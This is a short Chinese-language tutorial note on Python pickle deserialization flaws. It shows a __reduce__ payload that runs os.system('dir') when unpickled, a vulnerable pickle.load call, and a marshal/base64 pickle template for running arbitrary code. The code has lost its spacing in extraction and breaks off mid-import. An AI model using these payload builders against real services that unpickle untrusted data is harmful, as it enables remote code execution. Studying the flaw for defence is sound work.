1.python pickle反序列化漏洞
自己的理解:
由于在类的__reduce__方法中提供了我们可以自定义程序如何去解序列化的方法,因此如果应用程序接受了不可信任的序列化的数据,那么就可能导致安全问题。
importpickleimportosclassgen(object):def __reduce__(self):
s= """dir"""
returnos.system, (s,)
p=gen()
payload=pickle.dumps(p)
with open('payload.pkl', 'wb') as f:
f.write(payload)
以上这段代码中,要调用os模块的system函数来执行dir命令,其中reduce函数中的返回值中需要定义的有要调用的函数,需要传给函数的参数(以元组的形式给出);
接着只需要将该对象实例化后再序列化即可
importpickle
'''
some code
'''
pickle.load(open('./payload.pkl'))
'''
some code
'''
假设以上这段代码是服务器端处理反序列数据的时候的操作,其中没有将要调用的对象函数进行过滤,而是直接进行解序列化,导致代码执行 os.system("dir") 。
2.pickle任意代码执行
importmarshalimportbase64deffoo():pass #Your code here
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
我们只需要在foo函数中写上需要执行的代码即可。
code_str =base64.b64decode(code_enc)
code=marshal.loads(code_str)
func= types.FunctionType(code, globals(), '')
func()
执行以上函数便可以触发任意代码执行漏洞
from __future__ importunicode_literalsfrom flask importFlask, request, make_response, redirect, url_for, sessionfrom flask importrender_template, flash, redirect, url_for, requestfrom werkzeug.security